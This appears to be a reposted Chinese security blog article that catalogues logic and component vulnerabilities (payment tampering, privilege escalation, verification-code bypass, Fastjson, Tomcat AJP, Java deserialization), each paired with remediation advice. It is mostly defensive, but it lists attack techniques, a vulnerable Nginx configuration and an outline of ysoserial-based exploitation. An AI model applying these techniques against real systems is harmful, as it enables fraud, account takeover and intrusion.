最常见的应用场景为后台某些API接口在不登录系统的情况，直接请求对应的URI即可访问、操作该接口。
攻击者最常见的攻击途径主要有如下：
通过目录扫描工具加载目录字典探测
通过模糊测试URI中的参数进行探测
通过前端静态文件，比如JS、webpack等查找
0x03 漏洞危害
• 攻击者可在没有认证的情况下直接操作对应的API接口，可直接被非法增删改次数据。
• 因为攻击是在未认证下进行的，所以后续无法通过定位用户进行异常排查。
0x04 修复建议
对于后台接口，确保所有API接口先经过登录控制器。
在验证用户身份权限前不进行任何数据的交互。
越权
0x01 漏洞描述
越权漏洞是指应用程序未对当前用户操作的身份权限进行严格校验，导致用户可以操作超出自己管理权限范围的功能，从而操作一些非该用户可以操作的行为。
0x02 常见应用场景
越权漏洞一般可以分为：垂直越权，水平越权两种
• 水平越权
攻击者可以访问与他拥有相同权限的用户的资源，资源权限ID不变，资源归属ID改变；
• 垂直越权
低级别攻击者可以访问高级别权限用户的资源，资源权限ID不变，资源归属ID改变；
低级别攻击者可以访问高级别权限用户的资源，资源权限ID改变，资源归属ID不变；
0x03 漏洞危害
• 垂直越权漏洞会导致低权限用户用来执行高权限用户的功能，获取高权限用户的账号信息，执行高权限用户的操作功能。
• 水平越权会导致同一层级间的用户可以互相访问到对方的敏感信息，如姓名、手机号、联系地址、个人资料、订单记录等。同时还可能会以其他平级权限用户的身份来执行某行功能，如删除，添加，修改等。
0x04 修复建议
• 设计表时对用户ID、订单ID等根据ID进行操作的ID字段进行随机化、比如加入时间戳的md5值md5(d a t e t i m e . datetime.datetime.id)。
• 严格校验当前用户操作与当前登录用户身份权限是否匹配。
支付问题
0x01 漏洞描述
支付漏洞是指应用程序在支付环节，由于数据包中没有签名校验或者签名算法太容易而被破解，导致可以直接拦截数据包，修改支付订单中的参数为恶意非法参数而导致的支付缺陷。
0x02 常见应用场景
2.1 购买
• 修改支付的价格
• 修改支付的状态
• 修改支付的数量or价格为999999999999…
• 修改购买数量or价格为负数
• 修改金额为负数
• 重放成功的请求（包含支付附加值时等）
• 使用任意用户优惠券
• 修改运费价格
• 修改支付接口为不存在的支付接口
• 替换支付订单号
• 并发数据库锁处理不当
2.2 业务风控
• 刷优惠券
• 无限试用
• 套现
2.3 订单
同越权漏洞
0x03 漏洞危害
攻击者利用支付缺陷，通过绕过签名、修改支付参数等各种途径，直接会给企业造成巨大风险。
0x04 修复建议
对支付数据表进行数据包加密；
对提交数据包做数据签名处理，保证支付数据参数无法修改；
服务端效验客户端提交的参数；
服务端严格校验支付参数的合法性，比如金额、数量的长度，金额、数量的正负等；
对于用户提交的数据，应从数据库重新拉取，并校验用户提交与用户所有是否匹配；
对于多线程等并发问题，可以先打入队列，在与数据库交互；
用户模块
0x01 漏洞描述
目前大部分应用程序都会有用户模块，比如用户登录、注册、忘记密码、修改密码、申诉等，如果后端逻辑存在缺陷将直接导致大量用户信息泄漏，甚至直接接管任意用户。
0x02 常见应用场景
2.1 注册
• 短信验证码or邮箱验证码可爆破导致任意账号注册
• 数据库和后端逻辑处理不一致可能导致注册覆盖
• 万能注册码or验证码
• 注册处用户名暴力猜解
• 邮箱大小写、手机号前缀、账号前后使用空格/回车/换行等处理不当
• 特殊注册地址or测试地址
2.2 登录
• 撞库or账号密码爆破
• 登录处用户名暴力猜解
• 默认密码
• 任意账号锁死
• 账号劫持
• 短信验证码or邮箱验证码可爆破导致任意账号登录
2.3 忘记密码
• 忘记密码处用户名暴力猜解
• 任意用户短信轰炸or短信接口滥用
• 发送验证随机码至任意验证设备导致任意用户密码重置
• 随机码可被暴力猜解导致任意用户密码重置
• 随机校验码在返回包或者cookie中
• 忘记密码流程前端校验导致验证绕过
2.4 修改密码
• 越权修改任意用户密码
• 修改密码未校验旧密码
• 同上相关场景…
2.5 Session
• Session机制可被猜测or爆破
• Session伪造
• Session泄漏
• Session会话固定
0x03 漏洞危害
攻击者通过相关措施可直接查看、修改、添加、删除用户信息，以站内信任用户身份发起其他非法操作，甚至直接接管网站任意用户。
0x04 修复建议
严格校验当前操作与当前用户身份是否匹配；
登录、忘记密码、修改密码、注册等处建议添加图形验证码，并保证使用一次即销毁；
用户中心操作数据包建议添加包含随机码的签名，防止数据包被非法篡改；
用户中心操作建议对数据包or特殊字段进行加密等处理；
验证码模块
0x01 漏洞描述
验证码模块为线上应用系统中最常用的模块，涉及用户模块、业务逻辑、支付模块等几乎所有模块。验证码模块通常是用来抵御攻击者攻击的常用手段。一旦验证码模块存在逻辑缺陷，将导致对应的业务逻辑存在极大风险。通常将验证码模块分为两类：短信or邮箱验证码、图形验证码。
0x02 常见应用场景
2.1 图形验证码
• 没有销毁，可复用:图形验证码要遵循一个原则，在一次对比之后，无论用户输入正确与否，都有立刻将验证码销毁
• 图形验证码前端校验
• 图形验证码校验一次，永久使用
• 图形验证码过于简单可被简单程序识别
• 图形验证码在响应包、响应头、cookie中
2.2 短信/邮箱验证码
• 短信/邮箱验证码四位，可被爆破
• 短信/邮箱验证码未失效或失效期过长，可被爆破
• 短信/邮箱验证码未和手机号或用户身份等做绑定
• 短信/邮箱验证码规则简单，可被猜测到
• 短信/邮箱验证码可预测
• 短信/邮箱验证码没有验证次数限制
• 万能验证码
• 短信/邮箱验证码在响应包、响应头、cookie中
• 短信/邮箱验证码用于手机短信/邮箱轰炸
• 短信内容自定义：常出现在一些发送短信的后端管理系统中，容易出现类似钓鱼等类型的攻击
• 短信平台自身问题
0x03 漏洞危害
验证码模块通常是用来抵御攻击者攻击的常用手段。一旦验证码模块存在逻辑缺陷，将导致对应的业务逻辑存在极大风险。
0x04 修复建议
4.1 图形验证码
• 验证码后端随机生成，且验证码内容不能出现在客户端的网页源代码以及response数据包中。
• 验证码要有背景干扰，干扰元素包括：颜色、位置、数量且元素需要随机变化。
• 验证码后端校验，且使用一次后即失效。
• 验证码在不同场景下需要与请求的参数一起提交给后端进行校验，且优先校验验证码。
4.2 短信验证码
• 请求获取短信接口添加图形验证码。
• 单位时间内：单个IP、单个手机号设置请求限制，具体需要根据场景而定。
• 单个手机号每日短信验证码获取上限。
• 发送短信接口地址白名单。
4.3 其他验证途径
• 语音验证码
• Google reCaptcha
• 滑动验证码
• 点选验证码
Fastjson 漏洞
0x01 漏洞描述
fastjson采用黑白名单的方法来防御反序列化漏洞，导致当黑客不断发掘新的可攻击的反序列化Gadgets类时，则可能可以绕过黑白名单防御机制，造成远程命令执行或者SSRF漏洞
fastjson < 1.2.67
fastjson sec版本 < sec09
0x02 常见应用场景
2.1 Fastjson SSRF
2.2 Fastjson RCE-2020-03-20
2.2 Fastjson正则表达式dos-2019-12-17
2.2 Fastjson Dos 2019-0903
0x03 漏洞危害
• 命令执行
• SSRF
0x04 修复建议
• 使用更安全的gson、jackson
• 升级到最新版本
• 我两年前研究过fastjson，jackson，gson，fastjson和jackson类似，架构比较相似，gadget通用，但是fastjson相当坑，为了方便牺牲了安全性，包括前期的默认打开autotype机制，中期的cache机制，代码实现都是kpi赶出来的，像最近的dos。gson的安全性相对于前两者要好很多。用jackson的只要不打开autotype，问题也不大，可以自己封装一层jackson，将默认的不安全实现给禁用，目前我们就是这么处理的
Tomcat AJP漏洞
0x01 漏洞描述
Apache Tomcat会开启AJP连接器，方便与其他Web服务器通过AJP协议进行交互。但Apache Tomcat在AJP协议的实现上存在漏洞，导致攻击者可以通过发送恶意的AJP请求，可以读取或者包含Web应用根目录下的任意文件，如果存在文件上传功能，将可以导致任意代码执行
当url请求未在映射的url列表里面，会通过tomcat默认的DefaultServlet，根据上面的三个属性来读取文件:
通过serveResource方法来获取资源文件：
通过getRelativePath来获取资源文件路径
0x02 常见应用场景
• 使用tomcat
• 开启8090 ajp协议
0x03 漏洞危害
• 如果存在上传，可实现文件包含
• 任意文件读取
0x04 修复建议
• 1、升级至安全版本
• 2、关闭AJP连接器，修改Tomcat的service.xml，注释掉 。或者禁止Tomcat 的 AJP端口对公网开放。
• 3、针对阿里云用户，可使用安全组临时禁止AJP服务端口（常见为8009端口）对外，阻止漏洞攻击。
Consul未授权访问&命令执行
0x01 漏洞描述
在特定配置下，恶意攻击者可以通过发送精心构造的HTTP请求在未经授权的情况下在Consul服务端远程执行命令
0x02 常见应用场景
0x03 漏洞危害
0x04 修复建议
您可以通过选择以下适合的方案防护该Consul漏洞：
• 禁用Consul服务器上的脚本检查功能。
• 如果您需要使用Consul的脚本检查功能，请升级至0.9.4、1.0.8、1.1.1、1.2.4中的一个版本（这些版本中包含-enable-local-script-checks参数），将Consul配置中的-enable-script-checks更改为-enable-local-script-checks。
• 确保Consul HTTP API服务无法通过外网访问或调用。
Nginx/OpenResty 特殊配置下内存泄漏与目录穿越漏洞
0x01 漏洞描述
Nginx是一个高性能的HTTP和反向代理web服务器，OpenResty是一个基于 Nginx 与 Lua 的高性能Web平台。近日国外安全研究者公开了Nginx/OpenResty在特殊配置下存在内存泄漏或目录穿越漏洞详情。由于Nginx在rewrite功能实现上存在缺陷，以及OpenResty在ngx.req.set_uri()实现上存在缺陷，如果Nginx配置文件中使用了rewrite或者ngx.req.set_uri()，则攻击者可能可以通过构造恶意请求，从而造成内存泄漏或者目录穿越漏洞
nginx <= v1.17.7
openresty <= v1.15.8.2
0x02 常见应用场景
0x03 漏洞危害
0x04 修复建议
Nginx更新至安全版本>=v1.17.9
以下是存在漏洞的配置片段，建议用户自检查配置文件，并禁用相关危险配置。
location ~ /memleak {rewrite_by_lua_block {ngx.req.read_body();local args, err = ngx.req.get_post_args();ngx.req.set_uri( args["url"], true );}}location ~ /rewrite {rewrite ^.*$ $arg_x;}
Apache Dubbo反序列化漏洞（CVE-2019-17564）
0x01 漏洞描述
Apache Dubbo是一款应用广泛的Java RPC分布式服务框架。Dubbo支持使用HTTP协议进行远程过程调用，该协议采用 Spring 的 HttpInvoker 实现，在处理输入流时将会进行反序列化操作。因此当Dubbo在接受到来自消费者的远程恶意调用请求时候，有可能触发恶意反序列化漏洞，导致远程任意代码执行
Apache Dubbo < 2.7.5
0x02 常见应用场景
0x03 漏洞危害
0x04 修复建议
升级至安全版本
禁用HTTP协议，删除类似配置：<dubbo:protocol name=“http” />
Kibana文件包含
0x01 漏洞描述
Kibana是Elasticsearch的开源数据可视化插件。攻击者利用漏洞可以通过Timelion组件中的JavaScript原型链污染攻击，向Kibana发起相关请求，从而接管所在服务器，在服务器上执行任意命令
影响版本
Kibana < 6.6.1
Kibana < 5.6.15
0x02 常见应用场景
0x03 漏洞危害
0x04 修复建议
升级Kibana至新版本
Apache RocketMQ 目录遍历与拒绝服务漏洞
0x01 漏洞描述
Apache RocketMQ是一個分布式消息和流数据平台。在默认情况下，RocketMQ没有配置认证且开启了autoCreateTopicEnable，导致恶意客户端可以利用目录遍历漏洞，使服务端Broker在任意指定的目录下创建5.72M大小的文件夹。经进一步研究后发现，通过构造恶意的topic name可以直接导致服务端Broker拒绝服务
Apache RocketMQ < 4.6.1
0x02 常见应用场景
0x03 漏洞危害
0x04 修复建议
升级至安全版本
禁止自动创建topic，修改Broker配置文件broker.properties，设置autoCreateTopicEnable为false.
JAVA反序列化
0x01 漏洞描述
Java描述的是一个‘世界’，程序运行开始时，这个‘世界’也开始运作，但‘世界’中的对象不是一成不变的，它的属性会随着程序的运行而改变。
但很多情况下，我们需要保存某一刻某个对象的信息，来进行一些操作。比如利用反序列化将程序运行的对象状态以二进制形式储存与文件系统中，然后可以在另一个程序中对序列化后的对象状态数据进行反序列化恢复对象。可以有效地实现多平台之间的通信、对象持久化存储。
一个类的对象要想序列化成功，必须满足两个条件：
该类必须实现 java.io.Serializable 接口。
该类的所有属性必须是可序列化的。如果有一个属性不是可序列化的，则该属性必须注明是短暂的。
如果你想知道一个 Java 标准类是否是可序列化的，可以通过查看该类的文档,查看该类有没有实现 java.io.Serializable接口
0x02 常见应用场景
2.1重写ObjectInputStream对象的resolveClass方法中的检测可被绕过。
2.2黑名单机制
虽然Java的语言严谨性要比PHP强的多，但在大型应用中想要采用黑名单机制禁用掉所有危险的对象几乎是不可能的。因此，如果在审计过程中发现了采用黑名单进行过滤的代码，多半存在一两个‘漏网之鱼’可以利用。并且采取黑名单方式仅仅可能保证此刻的安全，若在后期添加了新的功能，就可能引入了新的漏洞利用方式。所以仅靠黑名单是无法保证序列化过程的安全的
2.3不安全的基础库
优秀的Java开发人员一般会按照安全编程规范进行编程，很大程度上减少了反序列化漏洞的产生。并且一些成熟的Java框架比如Spring MVC、Struts2等，都有相应的防范反序列化的机制。如果仅仅是开发失误，可能很少会产生反序列化漏洞，即使产生，其绕过方法、利用方式也较为复杂。但其实，有很大比例的反序列化漏洞是因使用了不安全的基础库而产生的。
2015年由黑客Gabriel Lawrence和Chris Frohoff发现的‘Apache Commons Collections’类库直接影响了WebLogic、WebSphere、JBoss、Jenkins、OpenNMS等大型框架
存在危险的基础库：
commons-fileupload 1.3.1
commons-io 2.4
commons-collections 3.1
commons-logging 1.2
commons-beanutils 1.9.2
org.slf4j:slf4j-api 1.7.21
com.mchange:mchange-commons-java 0.2.11
org.apache.commons:commons-collections 4.0
com.mchange:c3p0 0.9.5.2
org.beanshell:bsh 2.0b5
org.codehaus.groovy:groovy 2.3.9
org.springframework:spring-aop 4.1.4.RELEASE
2.4不可信的输入和未检测反序列化对象安全性
2.5发现JAVA反序列化
2.6 漏洞触发场景
在java编写的web应用与web服务器间java通常会发送大量的序列化对象例如以下场景：
• HTTP请求中的参数，cookies以及Parameters。
• RMI协议，被广泛使用的RMI协议完全基于序列化
• JMX 同样用于处理序列化对象
• 自定义协议 用来接收与发送原始的java对象
2.7 挖掘方法
(1)确定反序列化输入点
首先应找出readObject方法调用，在找到之后进行下一步的注入操作。
一般可以通过以下方法进行查找：
• 源码审计：寻找可以利用的“靶点”，即确定调用反序列化函数readObject的调用地点。
• 对该应用进行网络行为抓包，寻找序列化数据，如wireshark,tcpdump等
(2)再考察应用的Class Path中是否包含Apache Commons Collections库
(3)生成反序列化的payload
(4)提交我们的payload数据
白盒
• 反序列化操作一般应用在导入模板文件、网络通信、数据传输、日志格式化存储、对象数据落磁盘、或DB存储等业务场景。因此审计过程中重点关注这些功能板块。
• 源码中反序列化的调用来静态寻找反序列化的输入点
• 确定输入点后，检查class path中是否包含基础的危险库
• 不包含，则查看一些涉及命令、代码执行的代码区域，防止程序员代码不严谨，导致bug
• 包含，使用ysoserial进行攻击复现
黑盒
• 分析16进制数据来检查
• 抓包来检测请求中可能存在的序列化数据
• 列化数据通常以AC ED开始，之后的两个字节是版本号，版本号一般是00 05但在某些情况下可能是更高的数字
0x03 漏洞危害
• 试图反序列化改数据进行下一步处理时，会产生反序列化漏洞，其中最有危害性的就是远程代码注入
0x04 修复建议
• 禁止JVM执行外部命令，是一个简单有效的提高JVM安全性的办法。可以考虑在代码安全扫描时，加强对Runtime.exec相关代码的检测
• 白名单，代码和对象设置白名单
原文：https://ghost.blog.csdn.net/article/details/105858504?spm=1001.2101.3001.6650.2&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-2.no_search_link&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-2.no_search_link
如有侵权，请联系删除
好文推荐
如有侵权请联系:admin#unsafe.sh